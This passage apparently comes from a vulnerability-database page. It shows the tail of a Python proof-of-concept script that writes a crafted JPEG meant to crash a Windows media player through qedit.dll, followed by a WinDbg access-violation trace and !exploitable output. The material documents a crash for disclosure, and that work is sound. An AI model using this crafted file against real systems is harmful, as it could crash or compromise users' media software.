\x3F\xB7\x1D\x0E\x24\xF3\x78\xFC\xE2\xD2\x48\x35\x09\x05\xE9\x5C\xD6\x81\x72\x2D\x5B\x3A\x64\x87\xC6\x6D\x10\x8F\xBF\x7D\xBD\x19\x6D\xEF\x04\x6A\x65\x88\xBD\x15\xA1\xD6\x61\x84\x25\x49\x0D\x7A\x0A\x02\x43\x00\x73\x7B\x04\xAC\x00\xD3\x74\x31\x62\xDB\x05\x25\x74\x1A\xF6\xAA\xF1\xBC\x55\x22\x97\x74\x23\x1A\x4C\x9E\x91\x34\x16\x78\x01\xC1\x23\x0A\xDE\xB1\xEF\xB6\x64\x02\xB7\x76\x21\x61\xCF\x38\xF4\x4E\x96\x83\x44\x0D\x09\xE7\x2C\x02\xA1\x77\xA6\x88\x0E\x01\x82\x60\x02\x6E\x9A\xDF\x83\xDB\x81\x8C\x5B\x92\x14\x47\x62\x92\xF5\x90\xEA\xA6\x88\xA1\x79\x42\x2A\x34\xE9\x95\x75\xA5\xA6\xCC\x27\x00\x7D\xE5\xD1\x29\x16\x3A\xFC\x87\xF1\x85\x51\x44\xF6\x9E\xB0\x48\x34\x04\x59\xC6\x69\x80\x2E\x4E\xBE\x33\x74\xD1\xB6\xCB\xB7\x05\x73\xD5\x7D\xCD\x9F\x96\x9F\x53\xD8\x7F\xC5\x02\x7C\xB6\xBF\xF8\x99\xC6\x69\xF2\xAF\x2B\x7E\xDE\xF3\x80\xF8\x3D\xBE\x59\xC9\x78\xFD\x9F\x03\xBF\xEF\x3F\xE7\x3B\x75\xF4\x73\xDC\xE3\x79\xF0\x1B\xFF\x00\x76\x7B\x7A\x31\xE1\x59\xF3\x62\x4E\x5F\x6D\x4B\x73\xFC\x7A\xEF\xFD\xC7\x79\xC0\x7F\xB0\xAB\x3F\xD4\x78\x64\x7E\x76\xFA\xEF\xF8\xD5\xB9\xFD\x99\xF7\x0F\x1B\xF6\xF3\x9E\x81\xF8\xCF\xDF\x0F\xE0\x2E\xDC\xBF\xBE\x70\xDD\xB3\x53\xCF\xD7\x3C\xF7\xF5\x73\xC3\xFA\xFC\x22\x76\xFA\x5F\x96\x7F\x17\x96\xD5\xD7\xA7\xB3\x6B\xB9\x9E\x99\xF8\x96\xFF\x00\x57\xA9\x9F\x7B\xF4\xDD\xBF\x8F\xED\xFD\x3E\xE7\xE7\xF8\x9C\xFF\xD9"
outfile = file("Codec-poc.jpg", 'wb')
outfile.write(value)
outfile.close()
print "Created Poc"
windbg result:
0:000> g
ModLoad: 629c0000 629c9000 C:\WINDOWS\system32\LPK.DLL
ModLoad: 74d90000 74dfb000 C:\WINDOWS\system32\USP10.dll
ModLoad: 10000000 1002e000
C:\PROGRA~1\SearchProtect\SearchProtect\bin\SPVC32Loader.dll
ModLoad: 10000000 10011000 C:\Program Files\Bench\BService\bhelper.dll
ModLoad: 5b860000 5b8b5000 C:\WINDOWS\system32\NETAPI32.dll
ModLoad: 74720000 7476c000 C:\WINDOWS\system32\MSCTF.dll
ModLoad: 755c0000 755ee000 C:\WINDOWS\system32\msctfime.ime
ModLoad: 01880000 01b45000 C:\WINDOWS\system32\xpsp2res.dll
ModLoad: 76f50000 76f58000 C:\WINDOWS\system32\wtsapi32.dll
ModLoad: 76360000 76370000 C:\WINDOWS\system32\WINSTA.dll
ModLoad: 01e50000 02011000 C:\Program Files\K-Lite Codec Pack\Media
Player Classic\mpciconlib.dll
ModLoad: 017c0000 017c8000 C:\Program Files\Internet Download
Manager\idmmkb.dll
ModLoad: 76360000 76370000 C:\WINDOWS\system32\winsta.dll
ModLoad: 76fd0000 7704f000 C:\WINDOWS\system32\CLBCATQ.DLL
ModLoad: 77050000 77115000 C:\WINDOWS\system32\COMRes.dll
ModLoad: 74810000 7497d000 C:\WINDOWS\system32\quartz.dll
ModLoad: 75f40000 75f51000 C:\WINDOWS\system32\devenum.dll
ModLoad: 77920000 77a13000 C:\WINDOWS\system32\setupapi.dll
ModLoad: 76c30000 76c5e000 C:\WINDOWS\system32\WINTRUST.dll
ModLoad: 76c90000 76cb8000 C:\WINDOWS\system32\IMAGEHLP.dll
ModLoad: 736b0000 736b7000 C:\WINDOWS\system32\msdmo.dll
ModLoad: 72d20000 72d29000 C:\WINDOWS\system32\wdmaud.drv
ModLoad: 72d20000 72d29000 C:\WINDOWS\system32\wdmaud.drv
ModLoad: 72d20000 72d29000 C:\WINDOWS\system32\wdmaud.drv
ModLoad: 72d20000 72d29000 C:\WINDOWS\system32\wdmaud.drv
ModLoad: 72d20000 72d29000 C:\WINDOWS\system32\wdmaud.drv
ModLoad: 72d10000 72d18000 C:\WINDOWS\system32\msacm32.drv
ModLoad: 77be0000 77bf5000 C:\WINDOWS\system32\MSACM32.dll
ModLoad: 77bd0000 77bd7000 C:\WINDOWS\system32\midimap.dll
ModLoad: 60ca0000 60d2c000 C:\WINDOWS\system32\qedit.dll
ModLoad: 75a70000 75a91000 C:\WINDOWS\system32\MSVFW32.dll
ModLoad: 763b0000 763f9000 C:\WINDOWS\system32\comdlg32.dll
ModLoad: 73b30000 73b45000 C:\WINDOWS\system32\mscms.dll
(1fb0.1dc0): Unknown exception - code 00000000 (first chance)
(1fb0.1dc0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=01fdd008 ecx=7ffdb000 edx=003e0608 esi=003e0000
edi=01fdd000
eip=7c96d811 esp=01d4f5ec ebp=01d4f64c iopl=0 nv up ei pl zr na pe
nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00010246
ntdll!RtlpNtMakeTemporaryKey+0x7d45:
7c96d811 0fb707 movzx eax,word ptr [edi]
ds:0023:01fdd000=????
0:004> .load winext/msec.dll
0:004> !exploitable
!exploitable 1.6.0.0
*** ERROR: Symbol file could not be found. Defaulted to export symbols for
C:\WINDOWS\system32\msvcrt.dll -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for
C:\WINDOWS\system32\qedit.dll -
*** WARNING: Unable to verify timestamp for image00400000
*** ERROR: Module load completed but symbols could not be loaded for
image00400000
*** ERROR: Symbol file could not be found. Defaulted to export symbols for
C:\WINDOWS\system32\kernel32.dll -
Exploitability Classification: UNKNOWN
Recommended Bug Title: Data from Faulting Address is used as one or more
arguments in a subsequent Function Call starting at
ntdll!RtlpNtMakeTemporaryKey+0x0000000000007d45 (Hash=0xc7e5b6ca.0x7d7ebe9a)
The data from the faulting address is later used as one or more of the
arguments to a function call.
0:004> k
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be
wrong.
01d4f64c 7c949e1c ntdll!RtlpNtMakeTemporaryKey+0x7d45
01d4f734 7c927553 ntdll!LdrAlternateResourcesEnabled+0x33bd
01d4f804 77c2c2de ntdll!RtlOemStringToUnicodeString+0xee
01d4f84c 60cd08bc msvcrt!free+0xc3
01d4f860 60cd1f38 qedit!DllRegisterServer+0x20cff
01d4f880 60cb2ee9 qedit!DllRegisterServer+0x2237b
01d4f894 60cc38b1 qedit!DllRegisterServer+0x332c
01d4f8a0 004dfe58 qedit!DllRegisterServer+0x13cf4
01d4f954 004e1cb5 image00400000+0xdfe58
01d4fa10 00520659 image00400000+0xe1cb5
01d4fd74 00526383 image00400000+0x120659
01d4fe34 004facf0 image00400000+0x126383
01d4fe58 006f7708 image00400000+0xfacf0
01d4fe74 006f73a8 image00400000+0x2f7708
01d4fe88 006f78d5 image00400000+0x2f73a8
01d4fe94 006f749b image00400000+0x2f78d5
01d4fea0 006f744c image00400000+0x2f749b
01d4fecc 006f7c22 image00400000+0x2f744c
01d4ff70 008191a7 image00400000+0x2f7c22
01d4ffa8 008192cf image00400000+0x4191a7
01d4ffb4 7c80b713 image00400000+0x4192cf
01d4ffec 00000000 kernel32!GetModuleFileNameA+0x1b4
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation